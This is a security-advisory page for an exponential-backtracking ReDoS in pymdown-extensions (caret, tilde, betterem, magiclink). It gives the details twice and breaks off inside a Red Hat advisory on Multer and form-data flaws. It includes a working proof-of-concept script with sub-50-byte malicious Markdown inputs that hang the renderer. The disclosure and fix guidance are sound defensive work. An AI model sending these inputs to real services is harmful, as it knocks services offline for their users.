1.0)\n repro.append(ok)\n print(f\" =\u003e {\u0027REPRODUCED\u0027 if ok else \u0027not reproduced\u0027}: a {len(txt)}-byte \"\n f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions\u0027 own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.054 s (x16.6)\n malicious len 39: 0.946 s (x17.6)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.053 s (x17.1)\n malicious len 39: 0.962 s (x18.2)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.052 s (x17.1)\n malicious len 39: 0.948 s (x18.1)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms\n malicious len 37: 0.033 s\n malicious len 41: 0.210 s (x6.4)\n malicious len 45: 1.405 s (x6.7)\n malicious len 49: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) \u2014 the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n issue/ticket bodies, chat, live preview) \u2014 notably any app using\n `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n `smart_enable=\u0027underscore\u0027`, or that reuses a Material-style extension block in\n a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed \u2014 the maintainer makes\n the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n alternation in PR #2547 (v10.13); earlier releases used a linear\n `(.+?)` / `([^\\s]+?)` group. `magiclink`\u0027s host pattern is long-standing. None\n of the four has been touched by a prior security fix; all are present in the\n latest release (11.0).",
"id": "GHSA-gm37-52c6-37mw",
"modified": "2026-08-07T18:26:07Z",
"published": "2026-08-07T18:26:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/pymdown-extensions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}
PYSEC-2026-3654
Vulnerability from pysec - Published: 2026-08-10 10:43 - Updated: 2026-08-10 11:02Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:
| Extension | Regex | Location (11.0) |
|---|---|---|
pymdownx.caret (superscript ^…^) |
SUP2 |
pymdownx/caret.py:56 |
pymdownx.tilde (subscript ~…~) |
SUB2 |
pymdownx/tilde.py:55 |
pymdownx.betterem (underscore _…_) |
SMART_UNDER_EM2 (default) |
pymdownx/betterem.py:93 |
pymdownx.magiclink (bare-URL autolink) |
RE_LINK |
pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")
Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).
The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.
Impact
Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:
- General Python web apps that render user-supplied Markdown (comments, wikis,
issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundlesbetteremwith the vulnerable defaultsmart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer. -
Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.
-
Attacker: unauthenticated, remote (anyone who can submit Markdown).
- Configuration: default for each extension.
- Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
the final call):
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5, High).
Suggestion
The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.
A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.
References
- Affected source (
pymdown-extensions 11.0):pymdownx/caret.py:56(SUP2),pymdownx/tilde.py:55(SUB2),pymdownx/betterem.py:93(SMART_UNDER_EM2, default;:69UNDER_EM2shares the shape),pymdownx/magiclink.py:56(RE_LINK, host subexpression at:59). - Novelty: same class as CVE-2025-68142 (
pymdownx.blocks.captionRE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. Thecaret/tilde/betteremcontent groups gained the vulnerable{2,}alternation in PR #2547 (v10.13); earlier releases used a linear(.+?)/([^\s]+?)group.magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
| Name | purl | pymdown-extensions | pkg:pypi/pymdown-extensions |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pymdown-extensions",
"purl": "pkg:pypi/pymdown-extensions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.1",
"1.1",
"1.2",
"1.3",
"1.4",
"1.5",
"1.6",
"1.6.1",
"1.7",
"1.8",
"10.0",
"10.0.1",
"10.1",
"10.10",
"10.10.1",
"10.10.2",
"10.11",
"10.11.1",
"10.11.2",
"10.12",
"10.13",
"10.14",
"10.14.1",
"10.14.2",
"10.14.3",
"10.15",
"10.16",
"10.16.1",
"10.17",
"10.17.1",
"10.17.2",
"10.18",
"10.19",
"10.19.1",
"10.2",
"10.2.1",
"10.20",
"10.20.1",
"10.21",
"10.21.2",
"10.21.3",
"10.3",
"10.3.1",
"10.4",
"10.5",
"10.6",
"10.7",
"10.7.1",
"10.8",
"10.8.1",
"10.9",
"11.0",
"2.0",
"3.0",
"3.1",
"3.2",
"3.2.1",
"3.3",
"3.4",
"3.5",
"4.0",
"4.1",
"4.10",
"4.10.1",
"4.10.2",
"4.11",
"4.12",
"4.2",
"4.3",
"4.4",
"4.5",
"4.5.1",
"4.6",
"4.7",
"4.8",
"4.9",
"4.9.1",
"4.9.2",
"5.0",
"6.0",
"6.1",
"6.2",
"6.2.1",
"6.3",
"7.0",
"7.0b1",
"7.0b2",
"7.0rc1",
"7.0rc2",
"7.1",
"8.0",
"8.0.1",
"8.1",
"8.1.1",
"8.2",
"9.0",
"9.0.dev0",
"9.1",
"9.10",
"9.10a1",
"9.10a2",
"9.10a3",
"9.10b1",
"9.10b2",
"9.10b3",
"9.10b4",
"9.10b5",
"9.11",
"9.2",
"9.3",
"9.4",
"9.5",
"9.6",
"9.7",
"9.8",
"9.9",
"9.9.1",
"9.9.2"
]
}
],
"aliases": [
"CVE-2026-67422",
"GHSA-gm37-52c6-37mw"
],
"details": "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension\u0027s **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) \u2014 earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group \u2014 and is present through **11.0** (latest);\n`magiclink`\u0027s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape \u2014 an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^\u2026^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~\u2026~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_\u2026_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r\u0027(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)\u0027\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into \u22652-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable=\u0027underscore\u0027` routes underscores to `SmartUnderscoreProcessor` \u2192\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)* # host: \u0027\\.\u0027 and \u0027[-\\w.]\u0027 inside (?:...)* both match \u0027.\u0027\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive \u2014 the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version(\u0027pymdown-extensions\u0027)} / markdown {version(\u0027markdown\u0027)}\")\n\nCAP = 5.0 # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n pass\n\n\ndef render(ext, text):\n signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n signal.setitimer(signal.ITIMER_REAL, CAP)\n t = time.perf_counter()\n try:\n markdown.markdown(text, extensions=[ext])\n return time.perf_counter() - t\n except Timeout:\n return None\n finally:\n signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n \"pymdownx.caret\": (lambda n: \"^a\" + \"^\" * n + \"b\", lambda n: \"^\" + \"a\" * n + \"^\", [24, 30, 36], 44),\n \"pymdownx.tilde\": (lambda n: \"~a\" + \"~\" * n + \"b\", lambda n: \"~\" + \"a\" * n + \"~\", [24, 30, 36], 44),\n \"pymdownx.betterem\": (lambda n: \"_a\" + \"_\" * n + \"b\", lambda n: \"_\" + \"a\" * n + \"_\", [24, 30, 36], 44),\n \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n base_txt = benign(hang) # valid, closed run: same regex machinery, but linear\n base = render(ext, base_txt)\n print(f\"\\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n prev = None\n for n in ramp:\n txt = evil(n)\n dt = render(ext, txt)\n ratio = f\" (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n print(f\" malicious len {len(txt):3d}: {shown}{ratio}\")\n prev = dt\n txt = evil(hang)\n dt = render(ext, txt)\n hung = dt is None\n print(f\" malicious len {len(txt):3d}: \"\n f\"{\u0027\u003e %.0f s (HANG)\u0027 % CAP if hung else \u0027%.3f s\u0027 % dt}\")\n ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n repro.append(ok)\n print(f\" =\u003e {\u0027REPRODUCED\u0027 if ok else \u0027not reproduced\u0027}: a {len(txt)}-byte \"\n f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions\u0027 own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.054 s (x16.6)\n malicious len 39: 0.946 s (x17.6)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.053 s (x17.1)\n malicious len 39: 0.962 s (x18.2)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms\n malicious len 27: 0.003 s\n malicious len 33: 0.052 s (x17.1)\n malicious len 39: 0.948 s (x18.1)\n malicious len 47: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms\n malicious len 37: 0.033 s\n malicious len 41: 0.210 s (x6.4)\n malicious len 45: 1.405 s (x6.7)\n malicious len 49: \u003e 5 s (HANG)\n =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) \u2014 the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n issue/ticket bodies, chat, live preview) \u2014 notably any app using\n `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n `smart_enable=\u0027underscore\u0027`, or that reuses a Material-style extension block in\n a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed \u2014 the maintainer makes\n the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n alternation in PR #2547 (v10.13); earlier releases used a linear\n `(.+?)` / `([^\\s]+?)` group. `magiclink`\u0027s host pattern is long-standing. None\n of the four has been touched by a prior security fix; all are present in the\n latest release (11.0).",
"id": "PYSEC-2026-3654",
"modified": "2026-08-10T11:02:00.970245Z",
"published": "2026-08-10T10:43:51.576444Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/pymdown-extensions"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/pymdown-extensions"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gm37-52c6-37mw"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}
RHSA-2026:66003
Vulnerability from csaf_redhat - Published: 2026-09-09 13:39 - Updated: 2026-09-09 23:16A flaw was found in Multer. A remote attacker can exploit this vulnerability by sending a single HTTP request with crafted multipart form data containing deeply nested field names. This can force the allocation of deeply nested object structures, consuming excessive CPU and memory resources. The vulnerability ultimately leads to a Denial of Service (DoS) for the affected system.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in form-data, a library for creating readable multipart/form-data streams. A remote attacker can exploit this vulnerability by injecting carriage return (CR), line feed (LF), or double-quote (") characters into the `field` argument of `FormData#append` or the `filename` option. This allows the attacker to inject additional headers or smuggle entire additional multipart parts into requests, potentially enabling them to add or override form fields and compromise data integrity.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
